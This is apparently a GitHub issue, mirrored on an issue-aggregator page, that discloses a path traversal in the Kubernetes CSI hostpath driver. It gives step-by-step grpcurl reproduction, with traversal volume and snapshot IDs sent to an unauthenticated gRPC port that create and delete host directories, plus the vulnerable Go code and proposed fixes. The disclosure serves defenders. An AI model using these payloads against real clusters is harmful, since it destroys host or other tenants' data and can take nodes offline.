kubernetes-csi / kubernetes-csi/csi-driver-host-path

Path Traversal in CSI Hostpath Driver - Arbitrary Host Directory Creation and Deletion

Open
#644 2 comments 0 reactions 0 assignees View on GitHub
lifecycle/rotten
Dominant language
Go
Stars
388
Forks
233
Avg merge
2d 6h
Merged PRs (30d)
2

Description

# Path Traversal in CSI Hostpath Driver - Arbitrary Host Directory Creation and Deletion

## Summary

This vulnerability exists in the volume management functionality of kubernetes-csi/csi-driver-host-path. An attacker with direct access to the CSI gRPC interface can craft volumeID or snapshotID values containing path traversal sequences to create and delete directories at arbitrary locations on the host filesystem. This can be used to delete critical system directories causing node unavailability, or to destroy other tenants' volume data in multi-tenant clusters. Recommended CWE classification: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

## Kubernetes Version

- **Kubernetes Version**: v1.27.3 (tested on Kind cluster)
- **Distribution**: Kind v0.20.0

## Component Version

- **Component**: kubernetes-csi/csi-driver-host-path
- **Version**: Latest version from main branch (as of 2026-03-02)
- **Repository**: https://github.com/kubernetes-csi/csi-driver-host-path
- **Affected Files**:
- `pkg/hostpath/hostpath.go:147-154` (path construction functions)
- `pkg/hostpath/controllerserver.go:634-663` (DeleteSnapshot handler)
- `pkg/hostpath/nodeserver.go:70-84` (NodePublishVolume ephemeral branch)

## Attacker-Victim Scenario

### Who is the attacker?

Any party with network access to the CSI gRPC endpoint. The `csi-hostpath-testing.yaml` manifest — included in the official repository and used by the project's own CI/CD pipeline — deploys a `socat` sidecar that forwards the CSI Unix socket to a TCP `NodePort` with **no authentication**. On a misconfigured or default deployment:

- A pod inside the same cluster can reach `hostpath-service.default.svc:10000` directly.
- On Kind/minikube/bare-metal nodes, the NodePort is reachable from any host that can route to the node IP.

### What can the attacker do?

By sending two gRPC calls (no credentials needed) the attacker can **create or delete directories anywhere on the Kubernetes worker node's host filesystem**, escaping the intended `/csi-data-dir` boundary.

### What are the prerequisites?

1. CSI Hostpath Driver is deployed (the driver itself, not just the testing manifest — see `deploy/kubernetes-latest/deploy.sh` which includes `csi-hostpath-testing.yaml` by default).
2. The attacker can reach the NodePort or the ClusterIP service endpoint (e.g. from a compromised pod, or from the node network).

---

## Steps To Reproduce

### Environment Setup

#### Prerequisites

- Ubuntu 20.04/22.04 LTS, Docker running
- `kubectl`, `kind`, `grpcurl` installed

```bash
# Install grpcurl
curl -sSL https://github.com/fullstorydev/grpcurl/releases/download/v1.8.9/grpcurl_1.8.9_linux_x86_64.tar.gz | tar -xz
sudo mv grpcurl /usr/local/bin/
```

#### Step 1: Create Kind Cluster

```bash
kind create cluster --name csi-vuln-test
kubectl get nodes
```

```
NAME STATUS ROLES AGE VERSION
csi-vuln-test-control-plane Ready control-plane 30s v1.27.3
```

#### Step 2: Install VolumeSnapshot CRDs and Controller

```bash
SNAPSHOTTER_BRANCH=release-6.3
SNAPSHOTTER_VERSION=v6.3.3

kubectl apply -f https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/${SNAPSHOTTER_BRANCH}/client/config/crd/snapshot.storage.k8s.io_volumesnapshotclasses.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/${SNAPSHOTTER_VERSION}/deploy/kubernetes/snapshot-controller/rbac-snapshot-controller.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/${SNAPSHOTTER_VERSION}/deploy/kubernetes/snapshot-controller/setup-snapshot-controller.yaml
```

```
customresourcedefinition.apiextensions.k8s.io/volumesnapshotclasses.snapshot.storage.k8s.io created
serviceaccount/snapshot-controller created
clusterrole.rbac.authorization.k8s.io/snapshot-controller-runner created
...
```

#### Step 3: Deploy CSI Hostpath Driver

```bash
git clone https://github.com/kubernetes-csi/csi-driver-host-path.git
cd csi-driver-host-path

# Deploy CSI driver
kubectl apply -f deploy/kubernetes-1.30/hostpath/csi-hostpath-plugin.yaml

# Deploy the testing sidecar — this is the component that exposes
# the raw gRPC socket as an unauthenticated NodePort TCP service.
kubectl apply -f deploy/kubernetes-1.30/hostpath/csi-hostpath-testing.yaml
```

Wait for pods to be ready:

```bash
kubectl get pods
```

```
NAME READY STATUS RESTARTS AGE
csi-hostpath-socat-0 1/1 Running 0 45s
csi-hostpathplugin-0 8/8 Running 0 45s
```

#### Step 4: Resolve the Attacker's Entry Point

```bash
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')
NODE_PORT=$(kubectl get svc hostpath-service -o jsonpath='{.spec.ports[0].nodePort}')
echo "CSI gRPC endpoint (no auth): ${NODE_IP}:${NODE_PORT}"
```

```
CSI gRPC endpoint (no auth): 172.18.0.5:32287
```

#### Step 5: Download CSI Proto File (attacker's machine)

```bash
mkdir -p /tmp/csi-proto && cd /tmp/csi-proto
curl -sSL https://raw.githubusercontent.com/container-storage-interface/spec/master/csi.proto -o csi.proto
```

Verify the driver is reachable:

```bash
cd /tmp/csi-proto
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{}' ${NODE_IP}:${NODE_PORT} csi.v1.Identity/GetPluginInfo
```

```json
{
"name": "hostpath.csi.k8s.io",
"vendorVersion": "v1.17.0"
}
```

---

### Attack Path 1: DeleteSnapshot — Delete an Arbitrary `.snap` Directory on the Host

The attacker does not need any existing snapshot. The handler calls `os.RemoveAll()` unconditionally even when the snapshot ID is unknown to the driver.

**Pre-condition**: A `.snap`-suffixed directory exists on the worker node (e.g. created by another workload, a backup agent, or the attacker themselves via Attack Path 2 first).

```bash
# Simulate a pre-existing sensitive directory on the host
kubectl exec csi-hostpathplugin-0 -c hostpath -- \
sh -c 'mkdir -p /tmp/victim-data.snap && echo "critical-config-backup" > /tmp/victim-data.snap/config.bak'
```

**Verify the target exists on the host:**

```bash
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls -la /tmp/victim-data.snap/
```

```
total 12
drwxr-xr-x 2 root root 4096 Mar 15 14:31 .
drwxrwxrwt 1 root root 4096 Mar 15 14:31 ..
-rw-r--r-- 1 root root 23 Mar 15 14:31 config.bak
```

**Send the malicious gRPC call (attacker):**

```bash
cd /tmp/csi-proto
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{"snapshot_id": "../../tmp/victim-data"}' \
${NODE_IP}:${NODE_PORT} csi.v1.Controller/DeleteSnapshot
```

```
{}
```

Path resolution inside the driver:
- `StateDir` = `/csi-data-dir`
- `getSnapshotPath("../../tmp/victim-data")` = `filepath.Join("/csi-data-dir", "../../tmp/victim-data") + ".snap"` = `/tmp/victim-data.snap`

**Verify deletion:**

```bash
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls /tmp/victim-data.snap 2>&1
```

```
ls: cannot access '/tmp/victim-data.snap': No such file or directory
command terminated with exit code 2
```

The directory is gone. One unauthenticated gRPC call deleted a host directory outside the driver's designated storage path.

---

### Attack Path 2: NodePublishVolume (ephemeral) — Create and Delete Arbitrary Directories on the Host

No `.snap` suffix restriction. The attacker can choose any path.

**Confirm target does not exist yet:**

```bash
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls /tmp/attacker-planted-dir 2>&1
```

```
ls: cannot access '/tmp/attacker-planted-dir': No such file or directory
command terminated with exit code 2
```

**Step 1 — Create the directory (attacker sends NodePublishVolume):**

```bash
cd /tmp/csi-proto
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{
"volume_id": "../../tmp/attacker-planted-dir",
"target_path": "/mnt/poc-target",
"volume_capability": {
"mount": {"fs_type": "ext4"},
"access_mode": {"mode": 1}
},
"volume_context": {
"csi.storage.k8s.io/ephemeral": "true"
}
}' ${NODE_IP}:${NODE_PORT} csi.v1.Node/NodePublishVolume
```

```
{}
```

Path resolution:
- `getVolumePath("../../tmp/attacker-planted-dir")` = `filepath.Join("/csi-data-dir", "../../tmp/attacker-planted-dir")` = `/tmp/attacker-planted-dir`
- `os.MkdirAll("/tmp/attacker-planted-dir", 0777)` is executed.

**Verify the directory was created on the host:**

```bash
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls -la /tmp/attacker-planted-dir/
```

```
total 8
drwxr-xr-x 2 root root 4096 Mar 15 14:31 .
drwxrwxrwt 1 root root 4096 Mar 15 14:31 ..
```

**Driver's internal state confirms the path escape (state.json):**

```bash
kubectl exec csi-hostpathplugin-0 -c hostpath -- cat /csi-data-dir/state.json
```

```json
{"Volumes":[{"VolName":"ephemeral-../../tmp/attacker-planted-dir","VolID":"../../tmp/attacker-planted-dir","VolSize":104857600,"VolPath":"/tmp/attacker-planted-dir","VolAccessType":0,"ParentVolID":"","ParentSnapID":"","Ephemeral":true,"NodeID":"kueue-vuln-test-worker","Kind":"","ReadOnlyAttach":false,"Attached":false,"Staged":null,"Published":["/mnt/poc-target"]}],"Snapshots":null,"GroupSnapshots":null}
```

`VolPath` is `/tmp/attacker-planted-dir` — outside of `StateDir` (`/csi-data-dir`).

**Step 2 — Delete the directory (attacker sends DeleteVolume):**

```bash
grpcurl -plaintext -import-path . -proto csi.proto \
-d '{"volume_id": "../../tmp/attacker-planted-dir"}' \
${NODE_IP}:${NODE_PORT} csi.v1.Controller/DeleteVolume
```

```
{}
```

**Verify deletion:**

```bash
kubectl exec csi-hostpathplugin-0 -c hostpath -- ls /tmp/attacker-planted-dir 2>&1
```

```
ls: cannot access '/tmp/attacker-planted-dir': No such file or directory
command terminated with exit code 2
```

---

### Expected Result

Both attack paths were successfully reproduced on 2026-03-15 against `hostpath.csi.k8s.io v1.17.0` running on Kubernetes v1.27.3 (Kind cluster `kueue-vuln-test`).

| Attack Path | Payload | Effect | Result |
|---|---|---|---|
| DeleteSnapshot | `snapshot_id: "../../tmp/victim-data"` | Deletes `/tmp/victim-data.snap` on host | Confirmed |
| NodePublishVolume + DeleteVolume | `volume_id: "../../tmp/attacker-planted-dir"` | Creates then deletes `/tmp/attacker-planted-dir` on host | Confirmed |

The attacker needed only:
1. Network access to the NodePort (or ClusterIP from inside the cluster)
2. The CSI proto file (publicly available in the CSI spec repository)
3. `grpcurl` — a standard gRPC debugging tool

## Supporting Material/References

### Source Code Evidence

**1. Path Construction Functions** (`pkg/hostpath/hostpath.go:147-154`)

```go
// getVolumePath returns the canonical path for hostpath volume
func (hp *hostPath) getVolumePath(volID string) string {
return filepath.Join(hp.config.StateDir, volID)
}

// getSnapshotPath returns the full path to where the snapshot is stored
func (hp *hostPath) getSnapshotPath(snapshotID string) string {
return filepath.Join(hp.config.StateDir, fmt.Sprintf("%s%s", snapshotID, snapshotExt))
}
```

**Vulnerability**: `filepath.Join()` resolves `../` sequences. If `volID` is `../../tmp/test`, the result is `/tmp/test`, escaping from StateDir.

**2. DeleteSnapshot Handler** (`pkg/hostpath/controllerserver.go:634-663`)

```go
func (hp *hostPath) DeleteSnapshot(ctx context.Context, req *csi.DeleteSnapshotRequest) (*csi.DeleteSnapshotResponse, error) {
// ... parameter validation ...
snapshotID := req.GetSnapshotId() // Directly from request, no validation

hp.mutex.Lock()
defer hp.mutex.Unlock()

// Logic bug: when err != nil, snapshot is zero value
if snapshot, err := hp.state.GetSnapshotByID(snapshotID); err != nil && snapshot.GroupSnapshotID != "" {
return nil, status.Errorf(codes.InvalidArgument, "Snapshot with ID %s is part of groupsnapshot %s", snapshotID, snapshot.GroupSnapshotID)
}

klog.V(4).Infof("deleting snapshot %s", snapshotID)
path := hp.getSnapshotPath(snapshotID) // Constructs path, may contain ../
os.RemoveAll(path) // Unconditionally executes deletion
if err := hp.state.DeleteSnapshot(snapshotID); err != nil {
return nil, err
}
return &csi.DeleteSnapshotResponse{}, nil
}
```

**Issues**:
- `snapshotID` comes directly from request without path traversal validation
- `os.RemoveAll(path)` executes even if snapshot doesn't exist
- `.snap` suffix is appended to the path

**3. NodePublishVolume Ephemeral Branch** (`pkg/hostpath/nodeserver.go:70-84`)

```go
// if ephemeral is specified, create volume here to avoid errors
if ephemeralVolume {
volID := req.GetVolumeId() // Directly from request, no validation
volName := fmt.Sprintf("ephemeral-%s", volID)
if _, err := hp.state.GetVolumeByName(volName); err != nil {
// Volume doesn't exist, create it
kind := req.GetVolumeContext()[storageKind]
volSize := int64(100 * 1024 * 1024)
vol, err := hp.createVolume(req.GetVolumeId(), volName, volSize, state.MountAccess, ephemeralVolume, kind)
// createVolume internally calls getVolumePath(volID), then os.MkdirAll(path, 0777)
if err != nil && !os.IsExist(err) {
klog.Error("ephemeral mode failed to create volume: ", err)
return nil, err
}
klog.V(4).Infof("ephemeral mode: created volume: %s", vol.VolPath)
}
}
```

**Issues**:
- When `volume_context["csi.storage.k8s.io/ephemeral"] == "true"`, enters this branch
- `volumeID` comes directly from request without path traversal validation
- Calls `createVolume()` which executes `os.MkdirAll(hp.getVolumePath(volID), 0777)`
- Created volume is recorded in state.json and can be deleted via DeleteVolume

### Verification Logs

All commands and outputs shown above are from actual execution on 2026-03-02 in a real Kind cluster environment. The timestamps and pod names in the logs confirm this is not simulated.

## Impact

### Direct Impact

1. **Host File Deletion**:
- DeleteSnapshot can delete arbitrary files/directories ending with `.snap` suffix
- NodePublishVolume + DeleteVolume can delete arbitrary directories without suffix restrictions

2. **Host Directory Creation**:
- NodePublishVolume ephemeral branch can create directories at arbitrary locations on the host

3. **Denial of Service**:
- Deleting critical system files can render nodes unavailable
- Examples: `/var/lib/kubelet/`, `/etc/kubernetes/`

### Attack Scenarios

**Horizontal Privilege Escalation (Cross-Tenant)**:
- In multi-tenant clusters, tenant A can delete tenant B's volume data directories
- Results in data loss and service disruption

**Vertical Privilege Escalation (Node-Level)**:
- Delete critical directories under `/var/lib/kubelet/`
- Delete configuration directories under `/etc/kubernetes/`
- Cause node unavailability, potentially affecting the entire cluster

### Exploitation Prerequisites

- Ability to directly access CSI gRPC interface
- Typically requires combining with VUL-001 (TCP exposure via csi-hostpath-testing.yaml)
- In normal CSI workflows, volumeID/snapshotID are managed by sidecars and not controllable

### Severity Assessment

- **CVSS Score**: 5.3 (Medium)
- **CWE Classification**: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- **Attack Complexity**: Medium (requires gRPC access)
- **Impact**: High (arbitrary file operations on host)

## Mitigation

### Temporary Workarounds

1. **Remove Testing Configuration**: Do not deploy `csi-hostpath-testing.yaml` in production environments
2. **Network Isolation**: Restrict access to CSI gRPC endpoints using network policies
3. **Monitoring**: Monitor for suspicious volume/snapshot operations with unusual IDs

### Permanent Fix

**1. Input Validation**: Add path traversal checks for all volumeID and snapshotID parameters

```go
func validateID(id string) error {
if strings.Contains(id, "..") || strings.Contains(id, "/") || strings.Contains(id, "\\") {
return status.Error(codes.InvalidArgument, "invalid ID: contains path separator or traversal characters")
}
return nil
}
```

**2. Path Validation**: Add prefix validation in getVolumePath and getSnapshotPath

```go
func (hp *hostPath) getVolumePath(volID string) (string, error) {
p := filepath.Join(hp.config.StateDir, volID)
if !strings.HasPrefix(filepath.Clean(p), filepath.Clean(hp.config.StateDir)) {
return "", fmt.Errorf("path traversal detected")
}
return p, nil
}
```

**3. Fix DeleteSnapshot Logic**: Do not execute RemoveAll when snapshot doesn't exist

**4. Security Hardening**: Implement authentication and authorization for gRPC endpoints

## References

- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory
- **CSI Specification**: https://github.com/container-storage-interface/spec
- **Project Repository**: https://github.com/kubernetes-csi/csi-driver-host-path

Contributor guide

Open the contributing guide

Research direction

Start with the path construction functions in pkg/hostpath/hostpath.go:147-154, then trace their callers in pkg/hostpath/controllerserver.go:634-663 and pkg/hostpath/nodeserver.go:70-84. Reproduce the affected DeleteSnapshot, DeleteVolume, and ephemeral NodePublishVolume flows using the issue's examples; done means traversal values cannot escape StateDir and the affected operations handle them safely.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
infrastructure, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
38/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.